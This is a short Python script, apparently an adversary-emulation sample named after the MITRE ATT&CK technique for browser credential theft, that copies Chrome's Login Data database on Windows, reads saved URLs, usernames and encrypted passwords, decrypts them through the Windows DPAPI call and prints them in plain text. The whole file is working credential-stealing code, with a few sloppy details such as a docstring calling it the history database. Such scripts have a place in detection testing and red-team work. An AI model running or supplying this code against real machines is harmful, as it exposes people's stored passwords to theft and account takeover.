T1555.003-Chrome.py

import sqlite3
import shutil
import os
import win32crypt
from importlib import import_module

def get_chrome_db_path():
    """Determine the path of the Chrome history database based on the operating system."""
    if os.name == "nt":  # Windows
        return f"C:\\Users\\{os.getlogin()}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data".format(os.getlogin())


def query_chrome_password(db_path, limit=10):
    """Query chrome password database and retrieve entries"""
    # Make a copy to avoid locking issues with a running Chrome instance
    copied_db_path = "copied_History"
    shutil.copy(db_path, copied_db_path)

    # Connect to the copied database
    conn = sqlite3.connect(copied_db_path)
    cursor = conn.cursor()

    # Query the database
    cursor.execute("SELECT action_url, username_value, password_value FROM logins;")
    results = cursor.fetchall()

    # Clean up
    conn.close()
    os.remove(copied_db_path)

    return results

def unprotect_password(password_value):
    """Use crypt32 API to unprotect password data"""
    win32crypt = import_module('win32crypt')
    decrypted = win32crypt.CryptUnprotectData(password_value, None, None, None, 0)
    return decrypted[1].decode('utf8')

def main():
    db_path = get_chrome_db_path()
    entries = query_chrome_password(db_path)

    for action_url, username_value, password_value in entries:
        password_plaintext = unprotect_password(password_value)

        print(f"{action_url}::{username_value}::{password_plaintext}")
        

if __name__ == "__main__":
    main()